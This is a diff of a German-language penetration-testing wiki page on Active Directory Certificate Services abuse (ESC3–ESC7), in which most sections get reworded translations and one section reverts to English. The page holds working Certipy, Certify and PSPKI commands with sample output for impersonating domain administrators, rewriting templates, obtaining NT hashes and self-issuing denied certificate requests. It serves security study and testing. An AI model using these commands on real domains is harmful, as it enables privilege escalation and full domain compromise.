@ -129,44 +129,44 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
|
||||
# Use Rubeus with the certificate to authenticate as the other user
|
||||
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
|
||||
```
|
||||
Die **Benutzer**, denen es erlaubt ist, ein **Enrollment-Agent-Zertifikat** zu **erhalten**, die Vorlagen, in die sich Enrollment **Agenten** eintragen dürfen, und die **Konten**, in deren Namen der Enrollment-Agent handeln darf, können von Enterprise-CAs eingeschränkt werden. Dies wird erreicht, indem das `certsrc.msc` **snap-in** geöffnet, **mit der rechten Maustaste auf die CA geklickt**, **Properties** ausgewählt und dann zur Registerkarte “Enrollment Agents” navigiert wird.
|
||||
Die **Benutzer**, die berechtigt sind, ein **Enrollment-Agent-Zertifikat** zu **erhalten**, die Vorlagen, in die sich Enrollment-**Agents** eintragen dürfen, und die **Konten**, in deren Namen der Enrollment-Agent handeln kann, können von Enterprise-CAs eingeschränkt werden. Dies erfolgt durch Öffnen des `certsrc.msc` **snap-in**, **Rechtsklick auf die CA**, **Eigenschaften auswählen** und dann **Navigieren** zur Registerkarte “Enrollment Agents”.
|
||||
|
||||
Es ist jedoch zu beachten, dass die **Standard**einstellung für CAs „**Do not restrict enrollment agents**“ ist. Wenn die Einschränkung der Enrollment-Agenten durch Administratoren aktiviert und auf „Restrict enrollment agents“ gesetzt wird, bleibt die Standardkonfiguration extrem permissiv. Sie erlaubt **Everyone** den Zugriff, in allen Vorlagen im Namen beliebiger Benutzer ein Zertifikat zu beantragen.
|
||||
Es sei jedoch darauf hingewiesen, dass die **Standard**-Einstellung für CAs “**Do not restrict enrollment agents**.” ist. Wenn die Beschränkung für Enrollment Agents von Administratoren aktiviert und auf “Restrict enrollment agents” gesetzt wird, bleibt die Standardkonfiguration extrem permissiv. Sie erlaubt **Everyone** den Zugriff, sich in allen Vorlagen als beliebiger Benutzer einzutragen.
|
||||
|
||||
## Verwundbare Zugriffssteuerung für Zertifikatvorlagen - ESC4
|
||||
|
||||
### **Erklärung**
|
||||
|
||||
Der **Sicherheitsdeskriptor** auf **Zertifikatvorlagen** definiert die **Berechtigungen**, die spezifische **AD-Prinzipale** in Bezug auf die Vorlage besitzen.
|
||||
Der **Sicherheitsdeskriptor** von **Zertifikatvorlagen** legt die **Berechtigungen** fest, die spezifische **AD-Prinzipale** in Bezug auf die Vorlage besitzen.
|
||||
|
||||
Sollte ein **Angreifer** über die erforderlichen **Berechtigungen** verfügen, eine **Vorlage** zu **ändern** und eine der in vorherigen Abschnitten beschriebenen ausnutzbaren Fehlkonfigurationen **einzuführen**, könnte dies eine Privilegieneskalation ermöglichen.
|
||||
Sollte ein **Angreifer** über die erforderlichen **Berechtigungen** verfügen, eine **Vorlage** zu **ändern** und eine der in den vorherigen Abschnitten beschriebenen ausnutzbaren Fehlkonfigurationen einzuführen, könnte dies eine Privilegieneskalation ermöglichen.
|
||||
|
||||
Wesentliche Berechtigungen, die auf Zertifikatvorlagen anwendbar sind, umfassen:
|
||||
Wesentliche Berechtigungen, die auf Zertifikatvorlagen zutreffen, umfassen:
|
||||
|
||||
- **Owner:** Ermöglicht implizite Kontrolle über das Objekt und gestattet die Änderung beliebiger Attribute.
|
||||
- **FullControl:** Gewährt vollständige Autorität über das Objekt, einschließlich der Möglichkeit, alle Attribute zu ändern.
|
||||
- **WriteOwner:** Erlaubt die Änderung des Besitzers des Objekts zu einem vom Angreifer kontrollierten Prinzipal.
|
||||
- **WriteDacl:** Ermöglicht die Anpassung der Zugriffskontrollen, wodurch einem Angreifer ggf. FullControl gewährt werden kann.
|
||||
- **Owner:** Gewährt implizite Kontrolle über das Objekt und erlaubt das Ändern beliebiger Attribute.
|
||||
- **FullControl:** Ermöglicht vollständige Kontrolle über das Objekt, einschließlich der Fähigkeit, beliebige Attribute zu verändern.
|
||||
- **WriteOwner:** Erlaubt das Ändern des Eigentümers des Objekts zu einem vom Angreifer kontrollierten Prinzipal.
|
||||
- **WriteDacl:** Ermöglicht die Anpassung der Zugriffskontrollen, was einem Angreifer möglicherweise FullControl gewähren kann.
|
||||
- **WriteProperty:** Autorisiert das Bearbeiten beliebiger Objekteigenschaften.
|
||||
|
||||
### Missbrauch
|
||||
|
||||
Um Prinzipsale mit Bearbeitungsrechten an Vorlagen und anderen PKI-Objekten zu identifizieren, mit Certify enumerieren:
|
||||
Um Prinzipale mit Bearbeitungsrechten an Vorlagen und anderen PKI-Objekten zu identifizieren, mit Certify enumerieren:
|
||||
```bash
|
||||
Certify.exe find /showAllPermissions
|
||||
Certify.exe pkiobjects /domain:corp.local /showAdmins
|
||||
```
|
||||
Ein Beispiel für eine privesc wie das vorherige:
|
||||
Ein Beispiel für ein privesc wie das vorherige:
|
||||
|
||||
<figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ESC4 ist, wenn ein Benutzer Schreibrechte für eine Zertifikatvorlage hat. Dies kann beispielsweise missbraucht werden, um die Konfiguration der Zertifikatvorlage zu überschreiben und die Vorlage gegenüber ESC1 verwundbar zu machen.
|
||||
ESC4 ist, wenn ein Benutzer Schreibrechte für eine Zertifikatvorlage hat. Dies kann z. B. missbraucht werden, um die Konfiguration der Zertifikatvorlage zu überschreiben und die Vorlage für ESC1 angreifbar zu machen.
|
||||
|
||||
Wie wir im obigen Pfad sehen können, hat nur `JOHNPC` diese Rechte, aber unser Benutzer `JOHN` hat die neue `AddKeyCredentialLink` edge zu `JOHNPC`. Da diese Technik mit Zertifikaten zusammenhängt, habe ich diesen Angriff ebenfalls implementiert, der als [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) bekannt ist. Hier ein kleiner Vorgeschmack auf Certipy’s `shadow auto`-Befehl, um den NT hash des Opfers zu erhalten.
|
||||
Wie wir im obigen Pfad sehen, hat nur `JOHNPC` diese Privilegien, aber unser Benutzer `JOHN` hat die neue `AddKeyCredentialLink`-Kante zu `JOHNPC`. Da diese Technik mit Zertifikaten zusammenhängt, habe ich diesen Angriff ebenfalls implementiert, der als [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) bekannt ist. Hier ein kleiner Einblick in Certipy’s `shadow auto`-Befehl, um den NT-Hash des Opfers abzurufen.
|
||||
```bash
|
||||
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
|
||||
```
|
||||
**Certipy** kann die Konfiguration einer Zertifikatvorlage mit einem einzigen Befehl überschreiben. Standardmäßig wird Certipy die Konfiguration **überschreiben**, um sie **anfällig für ESC1** zu machen. Wir können auch den **`-save-old` Parameter zum Speichern der alten Konfiguration** angeben, was nützlich für das **Wiederherstellen** der Konfiguration nach unserem Angriff ist.
|
||||
**Certipy** kann die Konfiguration einer Zertifikatvorlage mit einem einzigen Befehl überschreiben. Standardmäßig wird Certipy die Konfiguration so **überschreiben**, dass sie **vulnerable to ESC1** ist. Wir können außerdem den **`-save-old` Parameter zum Speichern der alten Konfiguration** angeben, was nützlich ist, um die Konfiguration nach unserem Angriff **wiederherzustellen**.
|
||||
```bash
|
||||
# Make template vuln to ESC1
|
||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
|
||||
@ -177,25 +177,25 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
|
||||
# Restore config
|
||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
|
||||
```
|
||||
## Verwundbare PKI-Objektzugriffskontrolle - ESC5
|
||||
## Verwundbare PKI-Objekt-Zugriffssteuerung - ESC5
|
||||
|
||||
### Erläuterung
|
||||
|
||||
Das umfangreiche Netz miteinander verbundener, ACL-basierter Beziehungen, das mehrere Objekte über Certificate Templates und die Certificate Authority hinaus einschließt, kann die Sicherheit des gesamten AD CS-Systems beeinflussen. Diese Objekte, die die Sicherheit erheblich beeinträchtigen können, umfassen:
|
||||
Das umfangreiche Netz aus miteinander verbundenen, auf ACL basierenden Beziehungen, das mehrere Objekte über Zertifikatvorlagen und die Zertifizierungsstelle hinaus umfasst, kann die Sicherheit des gesamten AD CS-Systems beeinträchtigen. Zu diesen sicherheitsrelevanten Objekten gehören:
|
||||
|
||||
- Das AD-Computerobjekt des CA-Servers, das durch Mechanismen wie S4U2Self oder S4U2Proxy kompromittiert werden kann.
|
||||
- Den RPC/DCOM-Server des CA-Servers.
|
||||
- Jedes nachgeordnete AD-Objekt oder Container innerhalb des spezifischen Containerpfads `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Dieser Pfad umfasst unter anderem Container und Objekte wie den Certificate Templates container, den Certification Authorities container, das NTAuthCertificates-Objekt und den Enrollment Services Container.
|
||||
- Der RPC/DCOM-Server des CA-Servers.
|
||||
- Jedes nachgeordnete AD-Objekt oder Container innerhalb des speziellen Containerpfads `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Dieser Pfad umfasst u. a. Container und Objekte wie den Certificate Templates container, den Certification Authorities container, das NTAuthCertificates-Objekt und den Enrollment Services Container.
|
||||
|
||||
Die Sicherheit des PKI-Systems kann gefährdet sein, wenn ein gering privilegierter Angreifer Kontrolle über eine dieser kritischen Komponenten erlangt.
|
||||
Die Sicherheit des PKI-Systems kann beeinträchtigt werden, wenn ein niedrig privilegierter Angreifer Kontrolle über eines dieser kritischen Komponenten erlangt.
|
||||
|
||||
## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
|
||||
|
||||
### Erläuterung
|
||||
|
||||
Der in dem [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) behandelte Sachverhalt geht auch auf die Auswirkungen des **`EDITF_ATTRIBUTESUBJECTALTNAME2`**-Flags ein, wie Microsoft sie beschreibt. Diese Konfiguration erlaubt es einer Certification Authority (CA), benutzerdefinierte Werte in den **subject alternative name** für **jede Anfrage** aufzunehmen, einschließlich solcher, die aus Active Directory® erstellt werden. Folglich kann ein **Angreifer** sich über **jedes Template** anmelden, das für die Domänen**authentifizierung** konfiguriert ist — insbesondere solche, die die Anmeldung durch **nicht privilegierte** Benutzer zulassen, wie das Standard-User-Template. Dadurch kann ein Zertifikat erlangt werden, das dem Angreifer erlaubt, sich als Domain-Administrator oder als **jede andere aktive Entität** innerhalb der Domäne zu authentifizieren.
|
||||
Der in der [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) behandelte Beitrag geht auch auf die Auswirkungen des Flags **`EDITF_ATTRIBUTESUBJECTALTNAME2`** ein, wie sie von Microsoft beschrieben werden. Wenn diese Konfiguration auf einer Certification Authority (CA) aktiviert ist, erlaubt sie die Einfügung von benutzerdefinierten Werten in das subject alternative name für jede Anfrage, einschließlich solcher, die aus Active Directory® erstellt wurden. Folglich ermöglicht diese Einstellung einem Angreifer die Registrierung über jede für die Domänenauthentifizierung eingerichtete Vorlage — insbesondere solche, die weniger privilegierten Benutzern zur Registrierung offenstehen, wie die Standard-User-Vorlage. Dadurch kann ein Zertifikat erlangt werden, das dem Angreifer die Authentifizierung als Domänenadministrator oder jede andere aktive Entität innerhalb der Domäne ermöglicht.
|
||||
|
||||
**Hinweis**: Der Ansatz, **alternative names** in eine Certificate Signing Request (CSR) einzufügen, über das `-attrib "SAN:"`-Argument in `certreq.exe` (als „Name-Wert-Paare“ bezeichnet), unterscheidet sich von der Ausnutzungsstrategie von SANs in ESC1. Der Unterschied liegt hier darin, **wie Kontoinformationen gekapselt werden** — in einem Zertifikat-Attribut statt in einer Extension.
|
||||
**Hinweis**: Der Ansatz, alternative Namen in eine Certificate Signing Request (CSR) einzufügen — über das Argument `-attrib "SAN:"` in `certreq.exe` (als “Name Value Pairs” bezeichnet) — unterscheidet sich von der Ausnutzungsstrategie von SANs in ESC1. Der Unterschied besteht hier darin, wie Kontoinformationen eingebettet werden: in einem Zertifikatattribut statt in einer Erweiterung.
|
||||
|
||||
### Missbrauch
|
||||
|
||||
@ -207,7 +207,7 @@ Diese Operation verwendet im Wesentlichen **remote registry access**, daher kön
|
||||
```bash
|
||||
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
|
||||
```
|
||||
Tools wie [**Certify**](https://github.com/GhostPack/Certify) und [**Certipy**](https://github.com/ly4k/Certipy) sind in der Lage, diese Fehlkonfiguration zu erkennen und auszunutzen:
|
||||
Tools wie [**Certify**](https://github.com/GhostPack/Certify) und [**Certipy**](https://github.com/ly4k/Certipy) können diese Fehlkonfiguration erkennen und ausnutzen:
|
||||
```bash
|
||||
# Detect vulnerabilities, including this one
|
||||
Certify.exe find
|
||||
@ -216,37 +216,37 @@ Certify.exe find
|
||||
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
|
||||
```
|
||||
Um diese Einstellungen zu ändern — vorausgesetzt, man besitzt **Domänen-Administratorrechte** oder ein gleichwertiges Recht — kann der folgende Befehl von jeder Workstation ausgeführt werden:
|
||||
Um diese Einstellungen zu ändern, vorausgesetzt man verfügt über **Domain-Administratorrechte** oder gleichwertige Berechtigungen, kann der folgende Befehl von jedem Arbeitsplatz aus ausgeführt werden:
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
Um diese Konfiguration in Ihrer Umgebung zu deaktivieren, kann das flag wie folgt entfernt werden:
|
||||
Um diese Konfiguration in Ihrer Umgebung zu deaktivieren, kann das flag mit folgendem Befehl entfernt werden:
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
> [!WARNING]
|
||||
> Nach den Security-Updates vom Mai 2022 enthalten neu ausgestellte **Zertifikate** eine **Sicherheitserweiterung**, die die **`objectSid`-Eigenschaft des Antragstellers** einbindet. Bei ESC1 wird diese SID aus dem angegebenen SAN abgeleitet. Bei **ESC6** hingegen spiegelt die SID die **`objectSid` des Antragstellers** wider, nicht das SAN.\
|
||||
> Um ESC6 auszunutzen, muss das System für ESC10 (Weak Certificate Mappings) anfällig sein, das die **SAN über die neue Sicherheitserweiterung** priorisiert.
|
||||
> Nach den Sicherheitsupdates vom Mai 2022 werden neu ausgestellte **certificates** eine **security extension** enthalten, die die **`objectSid`-Eigenschaft des Anfordernden** einbindet. Für ESC1 wird diese SID aus dem angegebenen SAN abgeleitet. Bei **ESC6** entspricht die SID jedoch der **`objectSid` des Anfordernden**, nicht dem SAN.\
|
||||
> Um ESC6 auszunutzen, muss das System für ESC10 (Weak Certificate Mappings) anfällig sein, welches das **SAN gegenüber der neuen security extension** bevorzugt.
|
||||
|
||||
## Verwundbare Zugriffskontrolle der Zertifizierungsstelle - ESC7
|
||||
## Vulnerable Certificate Authority Access Control - ESC7
|
||||
|
||||
### Angriff 1
|
||||
### Attack 1
|
||||
|
||||
#### Erklärung
|
||||
#### Explanation
|
||||
|
||||
Die Zugriffskontrolle für eine Zertifizierungsstelle wird durch eine Reihe von Berechtigungen geregelt, die CA-Aktionen steuern. Diese Berechtigungen können eingesehen werden, indem man `certsrv.msc` öffnet, mit der rechten Maustaste auf eine CA klickt, Eigenschaften wählt und dann zur Registerkarte Sicherheit navigiert. Zusätzlich können Berechtigungen mit dem PSPKI-Modul anhand von Befehlen wie folgt aufgelistet werden:
|
||||
Die Zugriffskontrolle für eine Zertifizierungsstelle wird durch eine Reihe von Berechtigungen verwaltet, die CA-Aktionen steuern. Diese Berechtigungen können angezeigt werden, indem man `certsrv.msc` öffnet, mit der rechten Maustaste auf eine CA klickt, Properties wählt und dann zur Registerkarte Security navigiert. Zusätzlich können Berechtigungen mit dem PSPKI-Modul aufgelistet werden, z. B. mit Befehlen wie:
|
||||
```bash
|
||||
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
|
||||
```
|
||||
Dies liefert Einblicke in die primären Rechte, nämlich **`ManageCA`** und **`ManageCertificates`**, die jeweils den Rollen „CA-Administrator“ und „Zertifikatsmanager“ entsprechen.
|
||||
Dies bietet Einblicke in die primären Rechte, nämlich **`ManageCA`** und **`ManageCertificates`**, die jeweils den Rollen „CA-Administrator“ und „Zertifikatsmanager“ entsprechen.
|
||||
|
||||
#### Missbrauch
|
||||
#### Abuse
|
||||
|
||||
Das Besitzen von **`ManageCA`**-Rechten auf einer Certificate Authority ermöglicht dem Principal, Einstellungen remote mit PSPKI zu manipulieren. Dazu gehört das Umschalten des Flags **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, um die Angabe von SAN in beliebigen Templates zu erlauben — ein kritischer Aspekt bei der Domain-Eskalation.
|
||||
Das Vorhandensein von **`ManageCA`**-Rechten auf einer Certificate Authority ermöglicht es dem Principal, Einstellungen remote mit PSPKI zu manipulieren. Dazu gehört das Umschalten des Flags **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, um die Angabe von SAN in beliebigen Templates zu erlauben — ein kritischer Aspekt bei Domäneneskalation.
|
||||
|
||||
Die Vereinfachung dieses Prozesses ist mittels PSPKI’s **Enable-PolicyModuleFlag** cmdlet möglich, wodurch Änderungen ohne direkte GUI-Interaktion vorgenommen werden können.
|
||||
Die Vereinfachung dieses Prozesses ist durch das PSPKI-cmdlet **Enable-PolicyModuleFlag** möglich, wodurch Änderungen ohne direkte GUI-Interaktion vorgenommen werden können.
|
||||
|
||||
Der Besitz von **`ManageCertificates`**-Rechten ermöglicht die Genehmigung ausstehender Anfragen und umgeht damit effektiv die "CA certificate manager approval"-Sicherung.
|
||||
Der Besitz von **`ManageCertificates`**-Rechten erleichtert die Genehmigung ausstehender Anfragen und umgeht damit effektiv die Schutzmaßnahme "CA certificate manager approval".
|
||||
|
||||
Eine Kombination der Module **Certify** und **PSPKI** kann verwendet werden, um ein Zertifikat anzufordern, zu genehmigen und herunterzuladen:
|
||||
```bash
|
||||
@ -264,33 +264,33 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -R
|
||||
# Download the certificate
|
||||
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
|
||||
```
|
||||
### Angriff 2
|
||||
### Attack 2
|
||||
|
||||
#### Erklärung
|
||||
|
||||
> [!WARNING]
|
||||
> Im **vorherigen Angriff** wurden **`Manage CA`**-Berechtigungen verwendet, um das **EDITF_ATTRIBUTESUBJECTALTNAME2**-Flag zu **aktivieren**, um die **ESC6 attack** auszuführen, aber dies hat keine Wirkung, bis der CA-Dienst (`CertSvc`) neu gestartet wird. Wenn ein Benutzer das Zugriffsrecht `Manage CA` hat, darf der Benutzer außerdem den **Dienst neu starten**. Das bedeutet jedoch **nicht, dass der Benutzer den Dienst remote neu starten kann**. Außerdem könnte **ESC6** in den meisten gepatchten Umgebungen aufgrund der Sicherheitsupdates vom Mai 2022 **nicht ohne Weiteres funktionieren**.
|
||||
> In der **previous attack** **`Manage CA`** permissions wurden verwendet, um die **EDITF_ATTRIBUTESUBJECTALTNAME2** Flagge zu **aktivieren**, um die **ESC6 attack** durchzuführen, aber dies hat keine Wirkung, bis der CA-Dienst (`CertSvc`) neu gestartet wird. Wenn ein Benutzer das Zugriffsrecht `Manage CA` hat, darf er auch den **Dienst neu starten**. Das bedeutet jedoch nicht, dass der Benutzer den Dienst aus der Ferne neu starten kann. Außerdem **ESC6 funktioniert möglicherweise nicht sofort** in den meisten gepatchten Umgebungen aufgrund der Sicherheitsupdates vom Mai 2022.
|
||||
|
||||
Daher wird hier ein anderer Angriff vorgestellt.
|
||||
Daher wird hier eine weitere attack vorgestellt.
|
||||
|
||||
Voraussetzungen:
|
||||
|
||||
- Nur die **`ManageCA`**-Berechtigung
|
||||
- Die **`Manage Certificates`**-Berechtigung (kann von **`ManageCA`** gewährt werden)
|
||||
- Das Zertifikat-Template **`SubCA`** muss **aktiviert** sein (kann über **`ManageCA`** aktiviert werden)
|
||||
- Nur **`ManageCA`** Berechtigung
|
||||
- **`Manage Certificates`** Berechtigung (kann von **`ManageCA`** gewährt werden)
|
||||
- Das Zertifikat-Template **`SubCA`** muss **aktiviert** sein (kann von **`ManageCA`** aktiviert werden)
|
||||
|
||||
Die Technik beruht auf der Tatsache, dass Benutzer mit den Zugriffsrechten `Manage CA` _und_ `Manage Certificates` fehlgeschlagene Zertifikatsanfragen **ausstellen** können. Das Zertifikat-Template **`SubCA`** ist **anfällig für ESC1**, aber **nur Administratoren** können sich für das Template anmelden. Daher kann ein **Benutzer** eine **Anmeldung** zur **`SubCA`** **anfordern** — diese wird **abgelehnt** — aber anschließend vom Manager **ausgestellt** werden.
|
||||
Die Technik beruht auf der Tatsache, dass Benutzer mit dem Zugriffsrecht `Manage CA` _und_ `Manage Certificates` fehlgeschlagene Zertifikatsanforderungen **ausstellen** können. Das Zertifikat-Template **`SubCA`** ist **anfällig für ESC1**, aber **nur Administratoren** können sich für das Template einschreiben. Daher kann ein **Benutzer** die Einschreibung in die **`SubCA`** **beantragen** – diese wird **abgelehnt** – aber anschließend vom Manager **ausgestellt**.
|
||||
|
||||
#### Missbrauch
|
||||
|
||||
Sie können sich selbst das Zugriffsrecht **`Manage Certificates`** gewähren, indem Sie Ihren Benutzer als neuen Officer hinzufügen.
|
||||
Du kannst dir das Zugriffsrecht **`Manage Certificates`** selbst geben, indem du deinen Benutzer als neuen officer hinzufügst.
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
[*] Successfully added officer 'John' on 'corp-DC-CA'
|
||||
```
|
||||
Die **`SubCA`**-Vorlage kann auf der CA mit dem Parameter `-enable-template` aktiviert werden. Standardmäßig ist die **`SubCA`**-Vorlage aktiviert.
|
||||
Die **`SubCA`**-Vorlage kann mit dem Parameter `-enable-template` **auf der CA aktiviert** werden. Standardmäßig ist die **`SubCA`**-Vorlage aktiviert.
|
||||
```bash
|
||||
# List templates
|
||||
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
|
||||
@ -302,9 +302,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
|
||||
```
|
||||
Wenn wir die Voraussetzungen für diesen Angriff erfüllt haben, können wir damit beginnen, **ein Zertifikat anzufordern, das auf der `SubCA`-Vorlage basiert**.
|
||||
Wenn wir die Voraussetzungen für diesen Angriff erfüllt haben, können wir damit beginnen, **ein Zertifikat basierend auf der `SubCA`-Vorlage anzufordern**.
|
||||
|
||||
**Diese Anfrage wird abgelehnt**, aber wir speichern den privaten Schlüssel und notieren uns die Request-ID.
|
||||
**Diese Anfrage wird abgelehnt**, aber wir speichern den private key und notieren die request ID.
|
||||
```bash
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -316,14 +316,14 @@ Would you like to save the private key? (y/N) y
|
||||
[*] Saved private key to 785.key
|
||||
[-] Failed to request certificate
|
||||
```
|
||||
Mit unseren **`Manage CA` und `Manage Certificates`** können wir dann **die fehlgeschlagene Zertifikatsanforderung ausstellen**, mit dem Befehl `ca` und dem Parameter `-issue-request <request ID>`.
|
||||
Mit unseren **`Manage CA` und `Manage Certificates`**-Rechten können wir dann mit dem `ca`-Befehl und dem Parameter `-issue-request <request ID>` **die fehlgeschlagene Zertifikatsanforderung ausstellen**.
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
[*] Successfully issued certificate
|
||||
```
|
||||
Und schließlich können wir mit dem `req`-Befehl und dem Parameter `-retrieve <request ID>` **das ausgestellte Zertifikat abrufen**.
|
||||
Und schließlich können wir mit dem `req`-Befehl und dem Parameter `-retrieve <request ID>` das **ausgestellte Zertifikat abrufen**.
|
||||
```bash
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -335,75 +335,77 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
[*] Loaded private key from '785.key'
|
||||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
```
|
||||
### Angriff 3 – Manage Certificates Extension Abuse (SetExtension)
|
||||
### Attack 3 – Manage Certificates Extension Abuse (SetExtension)
|
||||
|
||||
#### Erklärung
|
||||
#### Explanation
|
||||
|
||||
Zusätzlich zu den klassischen ESC7-Abusen (Aktivieren von EDITF-Attributen oder Genehmigen ausstehender Anfragen) enthüllte **Certify 2.0** eine brandneue Primitive, die nur die *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) Rolle auf der Enterprise CA erfordert.
|
||||
In addition to the classic ESC7 abuses (enabling EDITF attributes or approving pending requests), **Certify 2.0** revealed a brand-new primitive that only requires the *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) role on the Enterprise CA.
|
||||
|
||||
Die RPC-Methode `ICertAdmin::SetExtension` kann von jedem Principal ausgeführt werden, der *Manage Certificates* besitzt. Während die Methode traditionell von legitimen CAs verwendet wurde, um Erweiterungen an **ausstehenden** Anfragen zu aktualisieren, kann ein Angreifer sie missbrauchen, um eine **nicht-standardmäßige** Zertifikatserweiterung anzuhängen (zum Beispiel eine benutzerdefinierte *Certificate Issuance Policy* OID wie `1.1.1.1`) an eine Anfrage, die auf Genehmigung wartet.
|
||||
The `ICertAdmin::SetExtension` RPC method can be executed by any principal holding *Manage Certificates*. While the method was traditionally used by legitimate CAs to update extensions on **pending** requests, an attacker can abuse it to **append a *non-default* certificate extension** (for example a custom *Certificate Issuance Policy* OID such as `1.1.1.1`) to a request that is waiting for approval.
|
||||
|
||||
Da die angezielte Vorlage **keinen Standardwert für diese Erweiterung definiert**, wird die CA den vom Angreifer kontrollierten Wert NICHT überschreiben, wenn die Anfrage schließlich ausgestellt wird. Das resultierende Zertifikat enthält daher eine vom Angreifer gewählte Erweiterung, die:
|
||||
Because the targeted template does **not define a default value for that extension**, the CA will NOT overwrite the attacker-controlled value when the request is eventually issued. The resulting certificate therefore contains an attacker-chosen extension that may:
|
||||
|
||||
* Anforderungen an Application / Issuance Policy anderer verwundbarer Vorlagen erfüllen kann (was zu Privilegieneskalation führt).
|
||||
* Zusätzliche EKUs oder Richtlinien injizieren kann, die dem Zertifikat unerwartetes Vertrauen in Drittanbietersystemen gewähren.
|
||||
* Satisfy Application / Issuance Policy requirements of other vulnerable templates (leading to privilege escalation).
|
||||
* Inject additional EKUs or policies that grant the certificate unexpected trust in third-party systems.
|
||||
|
||||
Kurz gesagt: *Manage Certificates* – zuvor als der „weniger mächtige“ Teil von ESC7 betrachtet – kann nun für vollständige Privilegieneskalation oder langfristige Persistenz genutzt werden, ohne die CA-Konfiguration zu verändern oder das restriktivere *Manage CA*-Recht zu benötigen.
|
||||
In short, *Manage Certificates* – previously considered the “less powerful” half of ESC7 – can now be leveraged for full privilege escalation or long-term persistence, without touching CA configuration or requiring the more restrictive *Manage CA* right.
|
||||
|
||||
#### Missbrauch der Primitive mit Certify 2.0
|
||||
#### Abusing the primitive with Certify 2.0
|
||||
|
||||
1. **Reiche eine Zertifikatsanfrage ein, die *ausstehend* bleibt.** Dies kann mit einer Vorlage erzwungen werden, die Manager-Genehmigung erfordert:
|
||||
1. **Submit a certificate request that will remain *pending*.** This can be forced with a template that requires manager approval:
|
||||
```powershell
|
||||
Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
|
||||
# Take note of the returned Request ID
|
||||
```
|
||||
|
||||
2. **Hänge eine benutzerdefinierte Erweiterung an die ausstehende Anfrage an** mit dem neuen `manage-ca`-Befehl:
|
||||
2. **Append a custom extension to the pending request** using the new `manage-ca` command:
|
||||
```powershell
|
||||
Certify.exe manage-ca --ca SERVER\\CA-NAME \
|
||||
--request-id 1337 \
|
||||
--set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID
|
||||
```
|
||||
*Wenn die Vorlage die *Certificate Issuance Policies*-Erweiterung nicht bereits definiert, wird der obige Wert nach der Ausstellung erhalten bleiben.*
|
||||
*Wenn die Vorlage die Erweiterung *Certificate Issuance Policies* nicht bereits definiert, wird der obige Wert nach der Ausstellung beibehalten.*
|
||||
|
||||
3. **Stelle die Anfrage aus** (wenn deine Rolle auch Genehmigungsrechte für *Manage Certificates* hat) oder warte, bis ein Operator sie genehmigt. Nach der Ausstellung lade das Zertifikat herunter:
|
||||
3. **Issue the request** (if your role also has *Manage Certificates* approval rights) or wait for an operator to approve it. Once issued, download the certificate:
|
||||
```powershell
|
||||
Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
|
||||
```
|
||||
|
||||
4. Das resultierende Zertifikat enthält nun die bösartige issuance-policy OID und kann in nachfolgenden Angriffen verwendet werden (z. B. ESC13, Domain-Eskalation usw.).
|
||||
4. The resulting certificate now contains the malicious issuance-policy OID and can be used in subsequent attacks (e.g. ESC13, domain escalation, etc.).
|
||||
|
||||
